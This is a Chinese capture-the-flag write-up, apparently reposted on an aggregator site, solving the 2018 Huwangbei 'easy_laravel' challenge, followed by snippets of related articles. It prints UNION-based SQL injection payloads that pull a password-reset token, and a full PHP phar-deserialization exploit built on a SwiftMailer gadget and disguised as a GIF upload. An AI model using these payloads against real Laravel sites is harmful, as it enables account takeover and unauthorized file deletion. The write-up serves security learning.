18年护网杯 Easy Laravel Writeup

2023-11-08 00:50

本文主要是介绍18年护网杯 Easy Laravel Writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

新人第一次写writeup,如有不足之处请多指正,谢谢!

这是2018年护网杯的easy_laravel,做题平台是攻防世界,难度10

代码审计&SQL注入

首先进来直接代码审计,网页源代码直接给了源码地址,简单粗暴

 

显然是个PHP的WEB框架

 

看到有登录界面,在源码中寻找登录逻辑。关注数据库的动态时可以全局搜索DB关键字。

 

显然notes存在注入,回显get

别的也都查查,果然,在reset_admin_passwd.php里找到了

 

最后在这里发现了一些admin的信息

 

到这里整体思路就差不多了,sql注入,reset一下admin,还有一个token

先利用note上的sql注入,构造payload:

admin’ union select 1,2,3,4,5--

成功,回显是2,2就是注入点了

 login页面有重置密码的选项,根据重置密码的表可知重置密码需要邮箱和token,邮箱已经有了,看起来是只剩下token了

 

 构造payload:

admin' union select 1,(select email||'::'||token from password_resets limit 0,1),3,4,5--

注入,token get!个毛线。。。

什么都没显示出来。。。

这就很奇怪了,反复检查了下语句,应该是没问题的。反复试了几个payload,都没用。当我以为这道题到此为止的时候,突然灵光一现:清下缓存!

果然,清完缓存再注入token就出来了

 

提权

剩下就简单了,用邮件地址和token提权至admin,然后用admin的帐号查看flag就行了。。。最开始我是这么想的,我很愉快地登上了admin,自行点开flag,结果。。。

 

不愧是难度10

Blade expired&phar 反序列化

重新审视一下这道题,这道题从名字上就能看出来是关于laravel的,而在 laravel 中,模板文件会被编译放到 storage/framework/views 中,并且会判断编译后的文件是否过期,判断的依据是修改日期。也就是说编译后的.blade.php文件顶替了原版文件,将其删除即可。此时观察主页功能,发现有个uoload的功能,检查相关文件。

 

 在UploadController中发现文件后缀必须是图片,且在UploadRequest 看到文件是被上传到了 $this->path,也就是 storage/app/public

 不好直接访问,上传脚本pass

 这里接收了两个参数 path 和 filename且file_exists 中的参数完全可控,所以可以使用 phar:// 协议来触发反序列化

admin帐号的note中有这么一句话

 可知是apache的默认地址

blade缓存位置是 

storage/framework/views

apache的默认目录是

 /var/www/html/

 

在一起就是 

/var/www/html/storage/framework/views

sha1加密后                         

/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

PALOAD

借鉴一个exp,用php打包为phar

<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{/*** Write sequence.*/protected $_sequence = 0;/*** StreamFilters.** @var Swift_StreamFilter[]*/private $_filters = array();/*** A buffer for writing.*/private $_writeBuffer = '';/*** Bound streams.** @var Swift_InputByteStream[]*/private $_mirrors = array();}class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{/** The internal pointer offset */private $_offset = 0;/** The path to the file */private $_path;/** The mode this file is opened in for writing */private $_mode;/** A lazy-loaded resource handle for reading the file */private $_reader;/** A lazy-loaded resource handle for writing the file */private $_writer;/** If magic_quotes_runtime is on, this will be true */private $_quotes = false;/** If stream is seekable true/false, or null if not known */private $_seekable = null;public function __construct($path, $writable = false) {$this->_path = $path;$this->_mode = $writable ? 'w+b' : 'rb';if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {$this->_quotes = true;}}/*** Get the complete path to the file.** @return string*/public function getPath(){return $this->_path;}}class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{public function __construct(){$filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";parent::__construct($filePath, true);}public function __destruct(){if (file_exists($this->getPath())) {@unlink($this->getPath());}}
}$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>

把后缀改为.gif,上传,修改path

 

 

flag,get!

 

这篇关于18年护网杯 Easy Laravel Writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/367026

相关文章

laravel框架实现redis分布式集群原理

在app/config/database.php中配置如下: 'redis' => array('cluster' => true,'default' => array('host' => '172.21.107.247','port' => 6379,),'redis1' => array('host' => '172.21.107.248','port' => 6379,),) 其中cl

Laravel 面试题

PHP模块 PHP7 和 PHP5 的区别,具体多了哪些新特性? 性能提升了两倍 结合比较运算符 (<=>) 标量类型声明 返回类型声明 try…catch 增加多条件判断,更多 Error 错误可以进行异常处理 匿名类,现在支持通过new class 来实例化一个匿名类,这可以用来替代一些“用后即焚”的完整类定义 …… 了解更多查看文章底部链接 PHP7 新特性 为什么 PHP

LibSVM学习(六)——easy.py和grid.py的使用

我们在“LibSVM学习(一)”中,讲到libSVM有一个tools文件夹,里面包含有四个python文件,是用来对参数优选的。其中,常用到的是easy.py和grid.py两个文件。其实,网上也有相应的说明,但很不系统,下面结合本人的经验,对使用方法做个说明。        这两个文件都要用python(可以在http://www.python.org上下载到,需要安装)和绘图工具gnup

react笔记 8-18 事件 方法 定义方法 获取/改变数据 传值

1、定义方法并绑定 class News extends React.Component {constructor(props) {super(props)this.state = {msg:'home组件'}}run(){alert("我是一个run") //方法写在类中}render() {return (<div><h2>{this.state.msg}</h2><button onCli

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Day18_0.1基础学习MATLAB学习小技巧总结(18)——MATLAB绘图篇(1)

利用空闲时间把碎片化的MATLAB知识重新系统的学习一遍,为了在这个过程中加深印象,也为了能够有所足迹,我会把自己的学习总结发在专栏中,以便学习交流。 参考书目:《MATLAB基础教程 (第三版) (薛山)》 之前的章节都是基础的数据运算用法,对于功课来说更加重要的内容是建模、绘图、观察数据趋势,接下来我会结合自己的使用经验,来为大家分享绘图、建模使用的小技巧。 二维图形绘制 在本章开

11991 - Easy Problem from Rujia Liu?

题意: 输入一串整型数列,再输入两个数k,v,输出第k个v的序号。不存在则输出0,如第一个样例 8 41 3 2 2 4 3 2 11 3 //第1个3,序号为2,输出22 4 //第2个4,不存在,输出03 2 //第3个2,序号为7,输出74 2 思路: struct num {

18. 4 Sum

题目: 解答: 与之前的三数之和的解法类似,也是先排序,然后不断剔除不可能的条件,最后两个参数,通过两头求和计算得出。 代码: class Solution {public:vector<vector<int>> fourSum(vector<int>& nums, int target) {vector<vector<int>> result;int len = nums.size

Laravel安全应用模块示例教程

前言 Laravel 是一个流行的 PHP 框架,它提供了一套丰富的功能来帮助开发者构建安全、可维护的应用程序。下面,我将详细解释 Laravel 中关于认证、CSRF 保护、授权、哈希、加密、密码重置等安全模块的实现逻辑、应用场景以及相应的示例代码。 详情见官方中文文档 一. 认证(Authentication) Laravel的认证系统是一个强大且灵活的用户身份验证解决方案,它基于PHP

系统架构师考试学习笔记第三篇——架构设计高级知识(18)面向服务架构设计理论与实践

本章考点:         第18课时主要学习面向服务架构设计理论与实践。根据考试大纲,本课时知识点会涉及单选题型(约占2~5分)和案例题(25分),本课时内容偏重于方法的掌握和应用,根据以往全国计算机技术与软件专业技术资格(水平)考试的出题规律,概念知识的考查内容多数来源于实际应用,还需要灵活运用相关知识点。         本课时知识架构如图18.1所示。 一、SOA的相关概念 (